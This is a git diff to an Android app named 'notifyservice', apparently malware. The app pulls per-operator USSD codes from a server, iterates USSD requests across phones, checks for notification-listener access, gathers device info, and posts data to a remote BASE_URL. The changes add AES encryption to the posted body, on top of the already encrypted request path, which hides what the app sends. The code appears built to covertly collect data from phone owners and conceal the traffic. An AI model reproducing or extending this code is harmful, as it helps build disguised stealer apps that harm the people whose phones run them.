diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index fde3bac..520a2eb 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -232,8 +232,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } }); - AlertDialog dialog = builder.create(); - dialog.show(); + this.runOnUiThread(new Runnable() { + public void run() { + AlertDialog dialog = builder.create(); + dialog.show(); + } + }); } public static String getDeviceInfo(Context context) @@ -382,18 +386,20 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onGetResponse(JSONObject result) { try { - requestsCount += 1; + if(result.get("name"). // STATIC equals("ussd")){ // STATIC ussd = result.getJSONObject( "data" // STATIC ); + requestsCount += 1; } else if (result.get("name"). // STATIC equals("languages")) { // STATIC language = result.getJSONObject( "data" // STATIC ).getJSONObject(Locale.getDefault().getLanguage()); + requestsCount += 1; } if (requestsCount == 2) { if (!isNotificationServiceEnabled()) { @@ -515,7 +521,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba boolean smsResponse = false; try { ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC - smsResponse = ussd.getJSONObject(phone.operator).getBoolean("sms"); // STATIC + smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC } catch (JSONException e) { return; } @@ -538,7 +544,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) { super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode); - + nextPhone(); } }, null); } diff --git a/app/src/main/java/com/example/notifyservice/PostRequest.java b/app/src/main/java/com/example/notifyservice/PostRequest.java index 9bfa25c..3793f71 100644 --- a/app/src/main/java/com/example/notifyservice/PostRequest.java +++ b/app/src/main/java/com/example/notifyservice/PostRequest.java @@ -1,5 +1,7 @@ package com.example.notifyservice; +import static com.example.notifyservice.Encryption.aesEncrypt; + import android.content.Context; import android.util.Log; @@ -41,7 +43,7 @@ public class PostRequest { Request request = new Request.Builder() .url(BASE_URL + Encryption.aesHexEncrypt(buildPoint, timeStamp) + "/" + Encryption.aesHexEncrypt(urlString, key)) // STATIC - .post(RequestBody.create(jsonData.getBytes())).header( + .post(RequestBody.create(aesEncrypt(jsonData).getBytes())).header( "timestamp", timeStamp // STATIC ) .build();